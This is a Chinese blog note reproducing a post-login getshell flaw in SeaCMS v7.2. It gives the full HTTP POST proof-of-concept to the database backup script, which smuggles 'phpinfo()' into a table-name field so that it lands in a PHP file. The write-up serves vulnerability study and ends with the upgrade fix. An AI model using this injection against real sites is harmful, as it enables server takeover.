seacms-v7.2 后台 getshell漏洞复现
- 2019 年 10 月 6 日
- 笔记
漏洞影响版本:7.2
漏洞版本下载链接:https://github.com/seacms/seacms-v7.2
0X1 环境搭建
下载源码之后,在centos中部署,端口是84,配置如下:

查看版本信息,在ver.txt文件:

可以找到相关的exp进行利用
seacms的管理目录是在根路径的一个6位随机字母和数字组成的目录,通过/install/index.php的/randomkeys生成

利用BurpSuite进行爆破,设置如下:

但是好像过了一个世纪,还没有结果出来:

仔细算了一下,有十位数字种可能。。。。。。算了,歇菜吧!
0X2 漏洞利用
根据作者的审计过程,在/include/uploadsafe.inc.php做了限制

不允许PHP文件上传。
同时,后台目录下的uploads.php文件也做了白名单限制:


同时,在后台其他地方也有很多限制。
在环境中发现备份的数据库文件是以php文件保存的,如下图:

这样的好处是可以防止数据库备份被扫描下载既然是php文件 那么能不能通过修改数据库再备份到getshell呢?

访问配置文件:

可以写入shell了。
完整的poc数据:
POST /5d16lx/ebak/phomebak.php HTTP/1.1
Host: 192.168.0.107:84
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: page_iframe_url=http://192.168.0.107:83/index.php?lang=cn&pageset=1; PHPSESSID=p1519uqh7ufp3hv0r62g4k3674; __tins__19820877=%7B%22sid%22%3A%201547989355000%2C%20%22vd%22%3A%204%2C%20%22expires%22%3A%201547991176710%7D; __51cke__=; __51laig__=4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1157
phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=seacms_20190107_uLDbip&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_admin&tablename%5B%5D=sea_arcrank&tablename%5B%5D=sea_buy&tablename%5B%5D=sea_cck&tablename%5B%5D=sea_co_cls&tablename%5B%5D=sea_co_config&tablename%5B%5D=sea_co_data&tablename%5B%5D=sea_co_filters&tablename%5B%5D=sea_co_news&tablename%5B%5D=sea_co_type&tablename%5B%5D=sea_co_url&tablename%5B%5D=sea_comment&tablename%5B%5D=sea_content&tablename%5B%5D=sea_count&tablename%5B%5D=sea_crons&tablename%5B%5D=sea_data&tablename%5B%5D=sea_erradd&tablename%5B%5D=sea_favorite&tablename%5B%5D=sea_flink&tablename%5B%5D=sea_guestbook&tablename%5B%5D=sea_ie&tablename%5B%5D=sea_jqtype&tablename%5B%5D=sea_member&tablename%5B%5D=sea_member_group&tablename%5B%5D=sea_myad&tablename%5B%5D=sea_mytag&tablename%5B%5D=sea_news&tablename%5B%5D=sea_playdata&tablename%5B%5D=sea_search_keywords&tablename%5B%5D=sea_tags&tablename%5B%5D=sea_temp&tablename%5B%5D=sea_topic&tablename%5B%5D=sea_type&tablename%5B%5D=phpinfo()&chkall=on&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD
0X3 漏洞修复
升级到最新版本8.6即可